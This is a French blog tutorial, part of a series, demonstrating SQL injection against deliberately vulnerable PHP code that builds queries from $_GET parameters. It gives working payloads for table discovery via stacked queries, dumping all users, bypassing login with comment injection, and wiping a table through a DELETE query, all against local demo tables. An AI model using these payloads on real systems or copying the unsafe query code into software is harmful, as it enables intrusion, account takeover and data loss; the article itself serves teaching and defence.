Exemples de SQL injection

mieux protéger une application internet

Ce site ne sera plus alimenté de contenu après août 2014. Tous les nouveaux articles seront redigés pour www.waitingforcode.com
Après une introduction à SQL injection, on va passer à la partie suivante. Dans cet article on va se focaliser sur les exemples d'attaques sur les systèmes des bases de données.

Dans nos exemples on utilisera des tables dont la structure et les valeurs se présentent ainsi :

CREATE TABLE authors (
id_author INT(11) NOT NULL AUTO_INCREMENT,
login_author VARCHAR(10) NOT NULL,
password_author VARCHAR(255) NOT NULL,
type_author ENUM('administrator', 'moderator', 'writer') NOT NULL,
PRIMARY KEY(id_author)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

INSERT INTO authors (login_author, password_author, type_author)
VALUES
('test', SHA1('test'), 'writer'),
('moderator', SHA1('moderator'), 'moderator'),
('administrator', SHA1('administrator'), 'administrator');

CREATE TABLE comments (
id_author INT(11) NOT NULL,
comment text NOT NULL,
ip_author VARCHAR(255) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;


Connaître la structure de la table
Pour un attaquant il est très important de connaître l'objet de son agression. Il doit donc découvrir la structure de la table. Cela lui permettra ensuite de finaliser son attaque plus rapidement.

L'une des pratiques courantes qui facilite cette découverte, est le jeu avec l'affichage des erreurs d'exécution. Supposons que pour la recherche d'un utilisateur on a écrit une telle requête :


$query = mysql_query("SELECT * FROM authors WHERE login_author = '".$_GET['author']."'");
while($rows = mysql_fetch_array($query) or die(mysql_error()))
{
print_r($rows);
}


Voici comment réagit l'application à de différentes tentatives :
1) http://localhost/test.php?author=test : l'affichage attendu des informations sur l'utilisateur dont le login est test
2) http://localhost/test.php?author=' : dans la configuration du PHP par défaut, rien de grave va s'afficher. On obtiendra juste la notification d'une "Erreur de syntaxe près de ''''' à la ligne 1". Cependant, la situation devient plus tordu qu'on modifie le paramètre mysql.trace_mode du fichier de configuration. Il a pour but de renseigner PHP si de diverses alertes (oubli, scan, erreur de requête) doivent s'afficher. Si l'on l'active, la page tests.php affichera exactement la requête qui a provoqué l'arrêt de l'exécution de la commande :


3) http://localhost/test.php?author=';%20SHOW%20TABLES%20WHERE%201%20=%20'1 : dans le cas d'une mysql_query(), ce bout de code qui contient une double requête, n'exécutera que la première partie (SELECT * FROM authors). En retour on verra un message d'erreur indiquant que le paramètre passé est incorrect : "( ! ) Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\Program Files (x86)\EasyPHP-5.3.5.0\www\test.php on line 8"

Cependant, la version 5 du PHP a ramené avec elle une nouvelle extension, fièrement prénomée "MySQL Improved Extension". Elle a rendu possible, notamment grâce à sa méthode mysqli_multi_query(), l'exécution de plusieurs requêtes MySQL en PHP. On donc modifier légèrement notre code pour voir comment il va se comporter en face de la requête abordée dans ce point.


// You can find this exemple here : http://php.net/manual/en/mysqli.multi-query.php
$link = new mysqli("localhost", "root", "password", "test");
echo "Created query : SELECT * FROM authors WHERE login_author = '".$_GET['author']."'
";
if(mysqli_multi_query($link, "SELECT * FROM authors WHERE login_author = '".$_GET['author']."'"))
{
$i = 0;
do
{
/* store first result set */
if ($result = mysqli_store_result($link))
{
echo $i++;
while ($row = mysqli_fetch_row($result))
{
echo '======>'.$row[0];
}
mysqli_free_result($result);
}
/* print divider */
if (mysqli_more_results($link))
{
printf("
");
}
}
while (mysqli_next_result($link));
}

Le résultat sur l'écran va se présenter ainsi :

Created query : SELECT * FROM authors WHERE login_author = ''; SHOW TABLES WHERE 1 = '1'
0
1======>authors


L'attaquant saura donc l'existence de toutes les tables qui se trouvent dans la base de données test. Ensuite, avec la commande "DESCRIPTION tableName", il pourra connaître les noms de tous les champs d'une table tableName.

Récupérer les informations sur les utilisateurs
Admettons toujours qu'on veut récupérer les informations sur un de nos utilisateurs. Le lien vers la requête va se toujours présenter de la manière suivante : http://localhost/test.php?author= . Le code PHP ne sera pas modifié. On procédera avec la version qui ne gère pas les requêtes multiples.

Regardons ce que va afficher la page en fonction des appels suivants :
1) http://localhost/test.php?author=test : on reçoit un tableau contenant les informations sur l'utilisateur test.
2) http://localhost/test.php?author=' OR 1 = '1 : on voit les informations sur tous les utilisateurs de la table. Pourquoi ? Tout simplement parce que la deuxième condition injectée (OR 1 = '1) est toujours vraie.

Cette vulnérabilité est dangereuse. Surtout dans les situations d'authentification d'un internaute. Imaginons que l'attaquant va sur la page qui regroupe tous les utilisateurs enregistrés. Il y sélectionne sa victime dont le login sera "test". Ensuite il tente d'accéder à son compte en utilisant un exploit SQL injection.

Dans cet exemple, pour les raisons de clarté, on va utiliser une authentification basée sur les paramètres passés en GET.

$query = mysql_query("SELECT * FROM authors WHERE login_author = '".$_GET['author']."' AND password_author = '".$_GET['password']."' ");
echo "SELECT * FROM authors WHERE login_author = '".$_GET['author']."' AND password_author = '".$_GET['password']."' ";
while($rows = mysql_fetch_array($query) or die(mysql_error()))
{
print_r($rows);
}


Analysons les appels :
1) http://localhost/connect.php?author=test&password=a94a8fe5ccb19ba61c4c0873d391e987982fbbd3 : l'application nous retourne bien les informations de connexion liées à l'utilisateur test. C'est le cas où la personne qui s'authentifie connaît ses identifiants.
2) http://localhost/connect.php?author=test&password=' OR 1 = '1' AND login_author = 'test : ici également on verra les informations sur l'utilisateur dont le login est test. Cependant, dans ce cas, on ne connaît pas son mot de passe. En étant un attaquant, on possède seulement le nom du champ qui contient le login.

On peut l'achever grâce aux attaques visant à dévoiler la structure de la base de données. On peut le réussir aussi grâce aux attaques du type brute force qui consistent à tester les configurations différentes jusqu'au moment où l'une d'entre elles s'avère fructueuse. Et vu que certains négligent encore l'aspect du nommage des champs, cette méthode ne devrait pas être compliquée à réaliser.
3) http://localhost/b/sqli/connect.php?author=test' /* &password=*/ AND 1 = '1 : ici on n'a même pas besoin de connaître la structure de la table pour se connecter en tant que l'utilisateur test. Explication ? Voici comment se présente la requête SQL d'authentification : SELECT * FROM authors WHERE login_author = 'test' /* ' AND password_author = '*/ AND 1 = '1' . Au tout début on précise qu'il s'agit de l'internaute dont le login est "test". Ensuite on ouvre le commentaire pour négliger la condition avec le mot de passe. A la fin on rajoute la clause déjà connue, 1 = '1', qui est toujours vraie.

Suppression non contrôlée
Actuellement on va passer à la suppression des éléments. Voici le code utilisé dans les exemples :


$query = mysql_query("DELETE FROM comments WHERE id_author = '".$_GET['author']."' ") or die(mysql_error());


Et ce sont les appels effectués :
1) http://localhost/delete.php?author=2 : on supprime, comme convenu, les commentaires rajoutés par l'utilisateur avec l'identifiant 2.
2) http://localhost/delete.php?author=2' OR 1 = '1 : un nouvel exploit avec la condition 1 = '1'. Cette fois-ci c'est très grave car au lieu de supprimer les commentaires d'un seul utilisateur, on vide toute la table.

Elements négligés
SQL injection ne se limite pas qu'aux données transmises en POST ou en GET. Il se peut que votre application web soit vulnérable dans les points où vous faites les opérations sur les adresses IP, HTTP referrers , les cookies ou les sessions. Toutes ces informations peuvent être falsifiées et donc adaptées aux attaques SQL injection. En tapant "fake http referrer", "fake ip address" dans un moteur de recherche vous trouverez de multiples articles qui vous prouveront cette hypothèse.

Le troisième article de la série consacrée au SQL injection va traiter des protections contre cette attaque. On verra également comment Doctrine réagit en face de ce danger.

L'article écrit en rythme de:
Marvin - Ma destinée
Bartosz KONIECZNY 16-10-2011 08:40 sécurité des applications web
Un conseil MySQL

Comment importer un fichier SQL depuis la console ?

L'importation des fichiers .sql se déroule avec la commande suivante :

mysql -u root --password=root -h 127.0.0.1 -D myDatabase < tab_to_import.sql